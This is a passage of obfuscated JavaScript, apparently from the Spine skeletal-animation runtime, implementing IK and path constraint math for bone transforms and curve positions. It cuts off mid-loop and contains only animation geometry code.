_0x522bfc), _0x20c678 = _0x3e5628 / _0x166654['skeleton']['scaleX'], _0x12ea0e = _0x522bfc / _0x166654['skeleton']['scaleY']; _0xa9b725 = -_0x12ea0e * _0x1c56e7 * _0x166654['skeleton']['scaleX'], _0x3e8206 = _0x20c678 * _0x1c56e7 * _0x166654['skeleton']['scaleY'], _0x12fcd2 += Math['atan2'](_0x12ea0e, _0x20c678) * _0x19ba92['radDeg']; default: let _0x4943e7 = _0x490d78 - _0x46c3fd['worldX'], _0x4b0f9d = _0x17d728 - _0x46c3fd['worldY'], _0x5878d7 = _0x3e5628 * _0x3e8206 - _0xa9b725 * _0x522bfc; _0x5bfc8d = (_0x4943e7 * _0x3e8206 - _0x4b0f9d * _0xa9b725) / _0x5878d7 - _0x166654['ax'], _0x4e578b = (_0x4b0f9d * _0x3e5628 - _0x4943e7 * _0x522bfc) / _0x5878d7 - _0x166654['ay']; }_0x12fcd2 += Math['atan2'](_0x4e578b, _0x5bfc8d) * _0x19ba92['radDeg'], _0x166654['ascaleX'] < 0x0 && (_0x12fcd2 += 0xb4), _0x12fcd2 > 0xb4 ? _0x12fcd2 -= 0x168 : _0x12fcd2 < -0xb4 && (_0x12fcd2 += 0x168); let _0x2c742c = _0x166654['ascaleX'], _0x20f3da = _0x166654['ascaleY']; if (_0x33c433 || _0x5be09f) { switch (_0x166654['data']['transformMode']) { case 0x3: case 0x4: _0x5bfc8d = _0x490d78 - _0x166654['worldX'], _0x4e578b = _0x17d728 - _0x166654['worldY']; }let _0x13a68f = _0x166654['data']['length'] * _0x2c742c, _0x3b0aad = Math['sqrt'](_0x5bfc8d * _0x5bfc8d + _0x4e578b * _0x4e578b); if (_0x33c433 && _0x3b0aad < _0x13a68f || _0x5be09f && _0x3b0aad > _0x13a68f && _0x13a68f > 0.0001) { let _0xaeaa8b = (_0x3b0aad / _0x13a68f - 0x1) * _0x1d5e3f + 0x1; _0x2c742c *= _0xaeaa8b, _0x525a12 && (_0x20f3da *= _0xaeaa8b); } } _0x166654['updateWorldTransformWith'](_0x166654['ax'], _0x166654['ay'], _0x166654['arotation'] + _0x12fcd2 * _0x1d5e3f, _0x2c742c, _0x20f3da, _0x166654['ashearX'], _0x166654['ashearY']); } ['apply2'](_0x153761, _0x2caad6, _0x29c00f, _0x5c5338, _0x19234d, _0x121549, _0x1cd22f, _0x1754d9, _0x3ad55c) { let _0x13feba = _0x153761['ax'], _0x4de910 = _0x153761['ay'], _0x45fbd9 = _0x153761['ascaleX'], _0x2b0ab5 = _0x153761['ascaleY'], _0x435e51 = _0x45fbd9, _0x5c1cf1 = _0x2b0ab5, _0x523404 = _0x2caad6['ascaleX'], _0x5b2e24 = 0x0, _0x4db305 = 0x0, _0x105269 = 0x0; _0x45fbd9 < 0x0 ? (_0x45fbd9 = -_0x45fbd9, _0x5b2e24 = 0xb4, _0x105269 = -0x1) : (_0x5b2e24 = 0x0, _0x105269 = 0x1), _0x2b0ab5 < 0x0 && (_0x2b0ab5 = -_0x2b0ab5, _0x105269 = -_0x105269), _0x523404 < 0x0 ? (_0x523404 = -_0x523404, _0x4db305 = 0xb4) : _0x4db305 = 0x0; let _0x2d9f51 = _0x2caad6['ax'], _0x5f4227 = 0x0, _0x40f6d9 = 0x0, _0x40cb10 = 0x0, _0x29177d = _0x153761['a'], _0x1c6cc0 = _0x153761['b'], _0x1be79e = _0x153761['c'], _0x1d75c2 = _0x153761['d'], _0x105e87 = Math['abs'](_0x45fbd9 - _0x2b0ab5) <= 0.0001; !_0x105e87 || _0x121549 ? (_0x5f4227 = 0x0, _0x40f6d9 = _0x29177d * _0x2d9f51 + _0x153761['worldX'], _0x40cb10 = _0x1be79e * _0x2d9f51 + _0x153761['worldY']) : (_0x5f4227 = _0x2caad6['ay'], _0x40f6d9 = _0x29177d * _0x2d9f51 + _0x1c6cc0 * _0x5f4227 + _0x153761['worldX'], _0x40cb10 = _0x1be79e * _0x2d9f51 + _0x1d75c2 * _0x5f4227 + _0x153761['worldY']); let _0x3e2bf7 = _0x153761['parent']; if (!_0x3e2bf7) throw new Error('IK\x20parent\x20must\x20itself\x20have\x20a\x20parent.'); _0x29177d = _0x3e2bf7['a'], _0x1c6cc0 = _0x3e2bf7['b'], _0x1be79e = _0x3e2bf7['c'], _0x1d75c2 = _0x3e2bf7['d']; let _0x46e356, _0x1cf658, _0x4aa876 = 0x1 / (_0x29177d * _0x1d75c2 - _0x1c6cc0 * _0x1be79e), _0x38e628 = _0x40f6d9 - _0x3e2bf7['worldX'], _0x94a8f7 = _0x40cb10 - _0x3e2bf7['worldY'], _0x10bef9 = (_0x38e628 * _0x1d75c2 - _0x94a8f7 * _0x1c6cc0) * _0x4aa876 - _0x13feba, _0x195e99 = (_0x94a8f7 * _0x29177d - _0x38e628 * _0x1be79e) * _0x4aa876 - _0x4de910, _0x51bae0 = Math['sqrt'](_0x10bef9 * _0x10bef9 + _0x195e99 * _0x195e99), _0x1bb7cd = _0x2caad6['data']['length'] * _0x523404; if (_0x51bae0 < 0.0001) return this['apply1'](_0x153761, _0x29c00f, _0x5c5338, !0x1, _0x121549, !0x1, _0x3ad55c), void _0x2caad6['updateWorldTransformWith'](_0x2d9f51, _0x5f4227, 0x0, _0x2caad6['ascaleX'], _0x2caad6['ascaleY'], _0x2caad6['ashearX'], _0x2caad6['ashearY']); _0x38e628 = _0x29c00f - _0x3e2bf7['worldX'], _0x94a8f7 = _0x5c5338 - _0x3e2bf7['worldY']; let _0x2974f6 = (_0x38e628 * _0x1d75c2 - _0x94a8f7 * _0x1c6cc0) * _0x4aa876 - _0x13feba, _0x60909a = (_0x94a8f7 * _0x29177d - _0x38e628 * _0x1be79e) * _0x4aa876 - _0x4de910, _0x5b6689 = _0x2974f6 * _0x2974f6 + _0x60909a * _0x60909a; if (0x0 != _0x1754d9) { _0x1754d9 *= _0x45fbd9 * (_0x523404 + 0x1) * 0.5; let _0x37601e = Math['sqrt'](_0x5b6689), _0x4441d9 = _0x37601e - _0x51bae0 - _0x1bb7cd * _0x45fbd9 + _0x1754d9; if (_0x4441d9 > 0x0) { let _0x55696d = Math['min'](0x1, _0x4441d9 / (0x2 * _0x1754d9)) - 0x1; _0x55696d = (_0x4441d9 - _0x1754d9 * (0x1 - _0x55696d * _0x55696d)) / _0x37601e, _0x2974f6 -= _0x55696d * _0x2974f6, _0x60909a -= _0x55696d * _0x60909a, _0x5b6689 = _0x2974f6 * _0x2974f6 + _0x60909a * _0x60909a; } } _0x172502: if (_0x105e87) { _0x1bb7cd *= _0x45fbd9; let _0x20b09a = (_0x5b6689 - _0x51bae0 * _0x51bae0 - _0x1bb7cd * _0x1bb7cd) / (0x2 * _0x51bae0 * _0x1bb7cd); _0x20b09a < -0x1 ? (_0x20b09a = -0x1, _0x1cf658 = Math['PI'] * _0x19234d) : _0x20b09a > 0x1 ? (_0x20b09a = 0x1, _0x1cf658 = 0x0, _0x121549 && (_0x29177d = (Math['sqrt'](_0x5b6689) / (_0x51bae0 + _0x1bb7cd) - 0x1) * _0x3ad55c + 0x1, _0x435e51 *= _0x29177d, _0x1cd22f && (_0x5c1cf1 *= _0x29177d))) : _0x1cf658 = Math['acos'](_0x20b09a) * _0x19234d, _0x29177d = _0x51bae0 + _0x1bb7cd * _0x20b09a, _0x1c6cc0 = _0x1bb7cd * Math['sin'](_0x1cf658), _0x46e356 = Math['atan2'](_0x60909a * _0x29177d - _0x2974f6 * _0x1c6cc0, _0x2974f6 * _0x29177d + _0x60909a * _0x1c6cc0); } else { _0x29177d = _0x45fbd9 * _0x1bb7cd, _0x1c6cc0 = _0x2b0ab5 * _0x1bb7cd; let _0x84315a = _0x29177d * _0x29177d, _0xe6a0bd = _0x1c6cc0 * _0x1c6cc0, _0x4006cf = Math['atan2'](_0x60909a, _0x2974f6); _0x1be79e = _0xe6a0bd * _0x51bae0 * _0x51bae0 + _0x84315a * _0x5b6689 - _0x84315a * _0xe6a0bd; let _0x36f73c = -0x2 * _0xe6a0bd * _0x51bae0, _0x40cee3 = _0xe6a0bd - _0x84315a; if (_0x1d75c2 = _0x36f73c * _0x36f73c - 0x4 * _0x40cee3 * _0x1be79e, _0x1d75c2 >= 0x0) { let _0x3ff3b3 = Math['sqrt'](_0x1d75c2); _0x36f73c < 0x0 && (_0x3ff3b3 = -_0x3ff3b3), _0x3ff3b3 = 0.5 * -(_0x36f73c + _0x3ff3b3); let _0x3cf36e = _0x3ff3b3 / _0x40cee3, _0x526e68 = _0x1be79e / _0x3ff3b3, _0x695f09 = Math['abs'](_0x3cf36e) < Math['abs'](_0x526e68) ? _0x3cf36e : _0x526e68; if (_0x695f09 * _0x695f09 <= _0x5b6689) { _0x94a8f7 = Math['sqrt'](_0x5b6689 - _0x695f09 * _0x695f09) * _0x19234d, _0x46e356 = _0x4006cf - Math['atan2'](_0x94a8f7, _0x695f09), _0x1cf658 = Math['atan2'](_0x94a8f7 / _0x2b0ab5, (_0x695f09 - _0x51bae0) / _0x45fbd9); break _0x172502; } } let _0x11de72 = _0x19ba92['PI'], _0xf411e0 = _0x51bae0 - _0x29177d, _0x13df17 = _0xf411e0 * _0xf411e0, _0x4db785 = 0x0, _0xd92ce4 = 0x0, _0x1f2833 = _0x51bae0 + _0x29177d, _0x58f1d4 = _0x1f2833 * _0x1f2833, _0x41fac1 = 0x0; _0x1be79e = -_0x29177d * _0x51bae0 / (_0x84315a - _0xe6a0bd), _0x1be79e >= -0x1 && _0x1be79e <= 0x1 && (_0x1be79e = Math['acos'](_0x1be79e), _0x38e628 = _0x29177d * Math['cos'](_0x1be79e) + _0x51bae0, _0x94a8f7 = _0x1c6cc0 * Math['sin'](_0x1be79e), _0x1d75c2 = _0x38e628 * _0x38e628 + _0x94a8f7 * _0x94a8f7, _0x1d75c2 < _0x13df17 && (_0x11de72 = _0x1be79e, _0x13df17 = _0x1d75c2, _0xf411e0 = _0x38e628, _0x4db785 = _0x94a8f7), _0x1d75c2 > _0x58f1d4 && (_0xd92ce4 = _0x1be79e, _0x58f1d4 = _0x1d75c2, _0x1f2833 = _0x38e628, _0x41fac1 = _0x94a8f7)), _0x5b6689 <= 0.5 * (_0x13df17 + _0x58f1d4) ? (_0x46e356 = _0x4006cf - Math['atan2'](_0x4db785 * _0x19234d, _0xf411e0), _0x1cf658 = _0x11de72 * _0x19234d) : (_0x46e356 = _0x4006cf - Math['atan2'](_0x41fac1 * _0x19234d, _0x1f2833), _0x1cf658 = _0xd92ce4 * _0x19234d); } let _0x329c01 = Math['atan2'](_0x5f4227, _0x2d9f51) * _0x105269, _0x379ff6 = _0x153761['arotation']; _0x46e356 = (_0x46e356 - _0x329c01) * _0x19ba92['radDeg'] + _0x5b2e24 - _0x379ff6, _0x46e356 > 0xb4 ? _0x46e356 -= 0x168 : _0x46e356 < -0xb4 && (_0x46e356 += 0x168), _0x153761['updateWorldTransformWith'](_0x13feba, _0x4de910, _0x379ff6 + _0x46e356 * _0x3ad55c, _0x435e51, _0x5c1cf1, 0x0, 0x0), _0x379ff6 = _0x2caad6['arotation'], _0x1cf658 = ((_0x1cf658 + _0x329c01) * _0x19ba92['radDeg'] - _0x2caad6['ashearX']) * _0x105269 + _0x4db305 - _0x379ff6, _0x1cf658 > 0xb4 ? _0x1cf658 -= 0x168 : _0x1cf658 < -0xb4 && (_0x1cf658 += 0x168), _0x2caad6['updateWorldTransformWith'](_0x2d9f51, _0x5f4227, _0x379ff6 + _0x1cf658 * _0x3ad55c, _0x2caad6['ascaleX'], _0x2caad6['ascaleY'], _0x2caad6['ashearX'], _0x2caad6['ashearY']); } }, _0x1ba0c8 = class extends _0x13597a { constructor(_0x29f324) { super(_0x29f324, 0x0, !0x1), this['bones'] = new Array(), this['_target'] = null, this['bendDirection'] = 0x1, this['compress'] = !0x1, this['stretch'] = !0x1, this['uniform'] = !0x1, this['mix'] = 0x1, this['softness'] = 0x0; } set ['target'](_0x15bbdb) { this['_target'] = _0x15bbdb; } get ['target']() { if (this['_target']) return this['_target']; throw new Error('BoneData\x20not\x20set.'); } }, _0x45bd9c = class extends _0x13597a { constructor(_0x389710) { super(_0x389710, 0x0, !0x1), this['bones'] = new Array(), this['_target'] = null, this['positionMode'] = _0x3c0178['Fixed'], this['spacingMode'] = _0x5b9a72['Fixed'], this['rotateMode'] = _0x3bd433['Chain'], this['offsetRotation'] = 0x0, this['position'] = 0x0, this['spacing'] = 0x0, this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0; } set ['target'](_0x46ecf2) { this['_target'] = _0x46ecf2; } get ['target']() { if (this['_target']) return this['_target']; throw new Error('SlotData\x20not\x20set.'); } }, _0x3c0178 = (_0x3b8fbb => (_0x3b8fbb[_0x3b8fbb['Fixed'] = 0x0] = 'Fixed', _0x3b8fbb[_0x3b8fbb['Percent'] = 0x1] = 'Percent', _0x3b8fbb))(_0x3c0178 || {}), _0x5b9a72 = (_0x49bc19 => (_0x49bc19[_0x49bc19['Length'] = 0x0] = 'Length', _0x49bc19[_0x49bc19['Fixed'] = 0x1] = 'Fixed', _0x49bc19[_0x49bc19['Percent'] = 0x2] = 'Percent', _0x49bc19[_0x49bc19['Proportional'] = 0x3] = 'Proportional', _0x49bc19))(_0x5b9a72 || {}), _0x3bd433 = (_0x329ef5 => (_0x329ef5[_0x329ef5['Tangent'] = 0x0] = 'Tangent', _0x329ef5[_0x329ef5['Chain'] = 0x1] = 'Chain', _0x329ef5[_0x329ef5['ChainScale'] = 0x2] = 'ChainScale', _0x329ef5))(_0x3bd433 || {}), _0x3f73ad = class { constructor(_0x2d14f, _0x5e2d97) { if (this['position'] = 0x0, this['spacing'] = 0x0, this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0, this['spaces'] = new Array(), this['positions'] = new Array(), this['world'] = new Array(), this['curves'] = new Array(), this['lengths'] = new Array(), this['segments'] = new Array(), this['active'] = !0x1, !_0x2d14f) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x5e2d97) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x2d14f, this['bones'] = new Array(); for (let _0x75d79f = 0x0, _0x14b49e = _0x2d14f['bones']['length']; _0x75d79f < _0x14b49e; _0x75d79f++) { let _0x240a01 = _0x5e2d97['findBone'](_0x2d14f['bones'][_0x75d79f]['name']); if (!_0x240a01) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x2d14f['bones'][_0x75d79f]['name'] + '.'); this['bones']['push'](_0x240a01); } let _0x5a1108 = _0x5e2d97['findSlot'](_0x2d14f['target']['name']); if (!_0x5a1108) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x2d14f['target']['name']); this['target'] = _0x5a1108, this['position'] = _0x2d14f['position'], this['spacing'] = _0x2d14f['spacing'], this['mixRotate'] = _0x2d14f['mixRotate'], this['mixX'] = _0x2d14f['mixX'], this['mixY'] = _0x2d14f['mixY']; } ['isActive']() { return this['active']; } ['update']() { let _0x228eae = this['target']['getAttachment'](); if (!(_0x228eae instanceof _0x27d2b5)) return; let _0x1bbec2 = this['mixRotate'], _0x36b742 = this['mixX'], _0x29628a = this['mixY']; if (0x0 == _0x1bbec2 && 0x0 == _0x36b742 && 0x0 == _0x29628a) return; let _0x4a74bd = this['data'], _0x22832e = 0x0 == _0x4a74bd['rotateMode'], _0x28b23b = 0x2 == _0x4a74bd['rotateMode'], _0x22dd1d = this['bones'], _0x447634 = _0x22dd1d['length'], _0x39fdd2 = _0x22832e ? _0x447634 : _0x447634 + 0x1, _0x3b17ec = _0x5bda80['setArraySize'](this['spaces'], _0x39fdd2), _0x3b6aed = _0x28b23b ? this['lengths'] = _0x5bda80['setArraySize'](this['lengths'], _0x447634) : [], _0x232525 = this['spacing']; switch (_0x4a74bd['spacingMode']) { case 0x2: if (_0x28b23b) for (let _0x5b63ce = 0x0, _0x590ca8 = _0x39fdd2 - 0x1; _0x5b63ce < _0x590ca8; _0x5b63ce++) { let _0xa493df = _0x22dd1d[_0x5b63ce], _0x4ad8ce = _0xa493df['data']['length']; if (_0x4ad8ce < _0x3f73ad['epsilon']) _0x3b6aed[_0x5b63ce] = 0x0; else { let _0x25f161 = _0x4ad8ce * _0xa493df['a'], _0x1024cd = _0x4ad8ce * _0xa493df['c']; _0x3b6aed[_0x5b63ce] = Math['sqrt'](_0x25f161 * _0x25f161 + _0x1024cd * _0x1024cd); } } _0x5bda80['arrayFill'](_0x3b17ec, 0x1, _0x39fdd2, _0x232525); break; case 0x3: let _0x4298d0 = 0x0; for (let _0x1a60fb = 0x0, _0x780ff3 = _0x39fdd2 - 0x1; _0x1a60fb < _0x780ff3;) { let _0x3b953e = _0x22dd1d[_0x1a60fb], _0x56f108 = _0x3b953e['data']['length']; if (_0x56f108 < _0x3f73ad['epsilon']) _0x28b23b && (_0x3b6aed[_0x1a60fb] = 0x0), _0x3b17ec[++_0x1a60fb] = _0x232525; else { let _0x29d13c = _0x56f108 * _0x3b953e['a'], _0x319d5a = _0x56f108 * _0x3b953e['c'], _0x1fabba = Math['sqrt'](_0x29d13c * _0x29d13c + _0x319d5a * _0x319d5a); _0x28b23b && (_0x3b6aed[_0x1a60fb] = _0x1fabba), _0x3b17ec[++_0x1a60fb] = _0x1fabba, _0x4298d0 += _0x1fabba; } } if (_0x4298d0 > 0x0) { _0x4298d0 = _0x39fdd2 / _0x4298d0 * _0x232525; for (let _0x39a987 = 0x1; _0x39a987 < _0x39fdd2; _0x39a987++)_0x3b17ec[_0x39a987] *= _0x4298d0; } break; default: let _0x1c7d82 = 0x0 == _0x4a74bd['spacingMode']; for (let _0x1a31e2 = 0x0, _0x192a4b = _0x39fdd2 - 0x1; _0x1a31e2 < _0x192a4b;) { let _0x360d47 = _0x22dd1d[_0x1a31e2], _0x5841dc = _0x360d47['data']['length']; if (_0x5841dc < _0x3f73ad['epsilon']) _0x28b23b && (_0x3b6aed[_0x1a31e2] = 0x0), _0x3b17ec[++_0x1a31e2] = _0x232525; else { let _0x2c4b46 = _0x5841dc * _0x360d47['a'], _0x2727c7 = _0x5841dc * _0x360d47['c'], _0xdebffc = Math['sqrt'](_0x2c4b46 * _0x2c4b46 + _0x2727c7 * _0x2727c7); _0x28b23b && (_0x3b6aed[_0x1a31e2] = _0xdebffc), _0x3b17ec[++_0x1a31e2] = (_0x1c7d82 ? _0x5841dc + _0x232525 : _0x232525) * _0xdebffc / _0x5841dc; } } }let _0x2607e4 = this['computeWorldPositions'](_0x228eae, _0x39fdd2, _0x22832e), _0x100f7c = _0x2607e4[0x0], _0x5852b6 = _0x2607e4[0x1], _0x1d231f = _0x4a74bd['offsetRotation'], _0x2d2766 = !0x1; if (0x0 == _0x1d231f) _0x2d2766 = 0x1 == _0x4a74bd['rotateMode']; else { _0x2d2766 = !0x1; let _0x4fba6c = this['target']['bone']; _0x1d231f *= _0x4fba6c['a'] * _0x4fba6c['d'] - _0x4fba6c['b'] * _0x4fba6c['c'] > 0x0 ? _0x19ba92['degRad'] : -_0x19ba92['degRad']; } for (let _0x356b29 = 0x0, _0x5d6c04 = 0x3; _0x356b29 < _0x447634; _0x356b29++, _0x5d6c04 += 0x3) { let _0x21e841 = _0x22dd1d[_0x356b29]; _0x21e841['worldX'] += (_0x100f7c - _0x21e841['worldX']) * _0x36b742, _0x21e841['worldY'] += (_0x5852b6 - _0x21e841['worldY']) * _0x29628a; let _0x375a27 = _0x2607e4[_0x5d6c04], _0x1af37c = _0x2607e4[_0x5d6c04 + 0x1], _0x4d0059 = _0x375a27 - _0x100f7c, _0x237ff3 = _0x1af37c - _0x5852b6; if (_0x28b23b) { let _0x5f3a2f = _0x3b6aed[_0x356b29]; if (0x0 != _0x5f3a2f) { let _0x24790f = (Math['sqrt'](_0x4d0059 * _0x4d0059 + _0x237ff3 * _0x237ff3) / _0x5f3a2f - 0x1) * _0x1bbec2 + 0x1; _0x21e841['a'] *= _0x24790f, _0x21e841['c'] *= _0x24790f; } } if (_0x100f7c = _0x375a27, _0x5852b6 = _0x1af37c, _0x1bbec2 > 0x0) { let _0x1f3427 = _0x21e841['a'], _0xf75616 = _0x21e841['b'], _0x476049 = _0x21e841['c'], _0x2f07f2 = _0x21e841['d'], _0x9fc6c9 = 0x0, _0x1a2b8a = 0x0, _0x114b25 = 0x0; if (_0x9fc6c9 = _0x22832e ? _0x2607e4[_0x5d6c04 - 0x1] : 0x0 == _0x3b17ec[_0x356b29 + 0x1] ? _0x2607e4[_0x5d6c04 + 0x2] : Math['atan2'](_0x237ff3, _0x4d0059), _0x9fc6c9 -= Math['atan2'](_0x476049, _0x1f3427), _0x2d2766) { _0x1a2b8a = Math['cos'](_0x9fc6c9), _0x114b25 = Math['sin'](_0x9fc6c9); let _0x2ab456 = _0x21e841['data']['length']; _0x100f7c += (_0x2ab456 * (_0x1a2b8a * _0x1f3427 - _0x114b25 * _0x476049) - _0x4d0059) * _0x1bbec2, _0x5852b6 += (_0x2ab456 * (_0x114b25 * _0x1f3427 + _0x1a2b8a * _0x476049) - _0x237ff3) * _0x1bbec2; } else _0x9fc6c9 += _0x1d231f; _0x9fc6c9 > _0x19ba92['PI'] ? _0x9fc6c9 -= _0x19ba92['PI2'] : _0x9fc6c9 < -_0x19ba92['PI'] && (_0x9fc6c9 += _0x19ba92['PI2']), _0x9fc6c9 *= _0x1bbec2, _0x1a2b8a = Math['cos'](_0x9fc6c9), _0x114b25 = Math['sin'](_0x9fc6c9), _0x21e841['a'] = _0x1a2b8a * _0x1f3427 - _0x114b25 * _0x476049, _0x21e841['b'] = _0x1a2b8a * _0xf75616 - _0x114b25 * _0x2f07f2, _0x21e841['c'] = _0x114b25 * _0x1f3427 + _0x1a2b8a * _0x476049, _0x21e841['d'] = _0x114b25 * _0xf75616 + _0x1a2b8a * _0x2f07f2; } _0x21e841['updateAppliedTransform'](); } } ['computeWorldPositions'](_0x5cd4de, _0x200afa, _0x203524) { let _0x13eaa9 = this['target'], _0x5de431 = this['position'], _0x3dc510 = this['spaces'], _0x128d90 = _0x5bda80['setArraySize'](this['positions'], 0x3 * _0x200afa + 0x2), _0x47a3d3 = this['world'], _0x463b92 = _0x5cd4de['closed'], _0x451ace = _0x5cd4de['worldVerticesLength'], _0x55983c = _0x451ace / 0x6, _0x46816b = _0x3f73ad['NONE']; if (!_0x5cd4de['constantSpeed']) { let _0x537049 = _0x5cd4de['lengths']; _0x55983c -= _0x463b92 ? 0x1 : 0x2; let _0x673eaf, _0x1af82a = _0x537049[_0x55983c]; switch (0x1 == this['data']['positionMode'] && (_0x5de431 *= _0x1af82a), this['data']['spacingMode']) { case 0x2: _0x673eaf = _0x1af82a; break; case 0x3: _0x673eaf = _0x1af82a / _0x200afa; break; default: _0x673eaf = 0x1; }_0x47a3d3 = _0x5bda80['setArraySize'](this['world'], 0x8); for (let _0x2f5a3b = 0x0, _0x409c78 = 0x0, _0x109040 = 0x0; _0x2f5a3b < _0x200afa; _0x2f5a3b++, _0x409c78 += 0x3) { let _0x10c990 = _0x3dc510[_0x2f5a3b] * _0x673eaf; _0x5de431 += _0x10c990; let _0x2c3ab4 = _0x5de431; if (_0x463b92) _0x2c3ab4 %= _0x1af82a, _0x2c3ab4 < 0x0 && (_0x2c3ab4 += _0x1af82a), _0x109040 = 0x0; else { if (_0x2c3ab4 < 0x0) { _0x46816b != _0x3f73ad['BEFORE'] && (_0x46816b = _0x3f73ad['BEFORE'], _0x5cd4de['computeWorldVertices'](_0x13eaa9, 0x2, 0x4, _0x47a3d3, 0x0, 0x2)), this['addBeforePosition'](_0x2c3ab4, _0x47a3d3, 0x0, _0x128d90, _0x409c78); continue; } if (_0x2c3ab4 > _0x1af82a) { _0x46816b != _0x3f73ad['AFTER'] && (_0x46816b = _0x3f73ad['AFTER'], _0x5cd4de['computeWorldVertices'](_0x13eaa9, _0x451ace - 0x6, 0x4, _0x47a3d3, 0x0, 0x2)), this['addAfterPosition'](_0x2c3ab4 - _0x1af82a, _0x47a3d3, 0x0, _0x128d90, _0x409c78); continue; } } for (; ; _0x109040++) { let _0x14bba6 = _0x537049[_0x109040]; if (!(_0x2c3ab4 > _0x14bba6)) { if (0x0 == _0x109040) _0x2c3ab4 /= _0x14bba6; else { let _0x29abe6 = _0x537049[_0x109040 - 0x1]; _0x2c3ab4 = (_0x2c3ab4 - _0x29abe6) / (_0x14bba6 - _0x29abe6); } break; } } _0x109040 != _0x46816b && (_0x46816b = _0x109040, _0x463b92 && _0x109040 == _0x55983c ? (_0x5cd4de['computeWorldVertices'](_0x13eaa9, _0x451ace - 0x4, 0x4, _0x47a3d3, 0x0, 0x2), _0x5cd4de['computeWorldVertices'](_0x13eaa9, 0x0, 0x4, _0x47a3d3, 0x4, 0x2)) : _0x5cd4de['computeWorldVertices'](_0x13eaa9, 0x6 * _0x109040 + 0x2, 0x8, _0x47a3d3, 0x0, 0x2)), this['addCurvePosition'](_0x2c3ab4, _0x47a3d3[0x0], _0x47a3d3[0x1], _0x47a3d3[0x2], _0x47a3d3[0x3], _0x47a3d3[0x4], _0x47a3d3[0x5], _0x47a3d3[0x6], _0x47a3d3[0x7], _0x128d90, _0x409c78, _0x203524 || _0x2f5a3b > 0x0 && 0x0 == _0x10c990); } return _0x128d90; } _0x463b92 ? (_0x451ace += 0x2, _0x47a3d3 = _0x5bda80['setArraySize'](this['world'], _0x451ace), _0x5cd4de['computeWorldVertices'](_0x13eaa9, 0x2, _0x451ace - 0x4, _0x47a3d3, 0x0, 0x2), _0x5cd4de['computeWorldVertices'](_0x13eaa9, 0x0, 0x2, _0x47a3d3, _0x451ace - 0x4, 0x2), _0x47a3d3[_0x451ace - 0x2] = _0x47a3d3[0x0], _0x47a3d3[_0x451ace - 0x1] = _0x47a3d3[0x1]) : (_0x55983c--, _0x451ace -= 0x4, _0x47a3d3 = _0x5bda80['setArraySize'](this['world'], _0x451ace), _0x5cd4de['computeWorldVertices'](_0x13eaa9, 0x2, _0x451ace, _0x47a3d3, 0x0, 0x2)); let _0x3baabb, _0x117c08 = _0x5bda80['setArraySize'](this['curves'], _0x55983c), _0x5f4602 = 0x0, _0x5652da = _0x47a3d3[0x0], _0x223d5c = _0x47a3d3[0x1], _0x19023e = 0x0, _0x242f74 = 0x0, _0x4b2bc6 = 0x0, _0x5ce790 = 0x0, _0x1b02a9 = 0x0, _0x84bd59 = 0x0, _0x3ddf86 = 0x0, _0xdba49e = 0x0, _0x529401 = 0x0, _0x49a53e = 0x0, _0x11e048 = 0x0, _0x3f3869 = 0x0, _0x253263 = 0x0, _0x4ce78f = 0x0; for (let _0x2a2e18 = 0x0, _0x2d5e2f = 0x2; _0x2a2e18 < _0x55983c; _0x2a2e18++, _0x2d5e2f += 0x6)_0x19023e = _0x47a3d3[_0x2d5e2f], _0x242f74 = _0x47a3d3[_0x2d5e2f + 0x1], _0x4b2bc6 = _0x47a3d3[_0x2d5e2f + 0x2], _0x5ce790 = _0x47a3d3[_0x2d5e2f + 0x3], _0x1b02a9 = _0x47a3d3[_0x2d5e2f + 0x4], _0x84bd59 = _0x47a3d3[_0x2d5e2f + 0x5], _0x3ddf86 = 0.1875 * (_0x5652da - 0x2 * _0x19023e + _0x4b2bc6), _0xdba49e = 0.1875 * (_0x223d5c - 0x2 * _0x242f74 + _0x5ce790), _0x529401 = 0.09375 * (0x3 * (_0x19023e - _0x4b2bc6) - _0x5652da + _0x1b02a9), _0x49a53e = 0.09375 * (0x3 * (_0x242f74 - _0x5ce790) - _0x223d5c + _0x84bd59), _0x11e048 = 0x2 * _0x3ddf86 + _0x529401, _0x3f3869 = 0x2 * _0xdba49e + _0x49a53e, _0x253263 = 0.75 * (_0x19023e - _0x5652da) + _0x3ddf86 + 0.16666667 * _0x529401, _0x4ce78f = 0.75 * (_0x242f74 - _0x223d5c) + _0xdba49e + 0.16666667 * _0x49a53e, _0x5f4602 += Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x253263 += _0x11e048, _0x4ce78f += _0x3f3869, _0x11e048 += _0x529401, _0x3f3869 += _0x49a53e, _0x5f4602 += Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x253263 += _0x11e048, _0x4ce78f += _0x3f3869, _0x5f4602 += Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x253263 += _0x11e048 + _0x529401, _0x4ce78f += _0x3f3869 + _0x49a53e, _0x5f4602 += Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x117c08[_0x2a2e18] = _0x5f4602, _0x5652da = _0x1b02a9, _0x223d5c = _0x84bd59; switch (0x1 == this['data']['positionMode'] && (_0x5de431 *= _0x5f4602), this['data']['spacingMode']) { case 0x2: _0x3baabb = _0x5f4602; break; case 0x3: _0x3baabb = _0x5f4602 / _0x200afa; break; default: _0x3baabb = 0x1; }let _0x5d9a97 = this['segments'], _0x1a6046 = 0x0; for (let _0x2f07b1 = 0x0, _0xe8e420 = 0x0, _0x3ef788 = 0x0, _0x2aae6b = 0x0; _0x2f07b1 < _0x200afa; _0x2f07b1++, _0xe8e420 += 0x3) { let _0x3cd08f = _0x3dc510[_0x2f07b1] * _0x3baabb; _0x5de431 += _0x3cd08f; let _0x5a2a48 = _0x5de431; if (_0x463b92) _0x5a2a48 %= _0x5f4602, _0x5a2a48 < 0x0 && (_0x5a2a48 += _0x5f4602), _0x3ef788 = 0x0; else { if (_0x5a2a48 < 0x0) { this['addBeforePosition'](_0x5a2a48, _0x47a3d3, 0x0, _0x128d90, _0xe8e420); continue; } if (_0x5a2a48 > _0x5f4602) { this['addAfterPosition'](_0x5a2a48 - _0x5f4602, _0x47a3d3, _0x451ace - 0x4, _0x128d90, _0xe8e420); continue; } } for (; ; 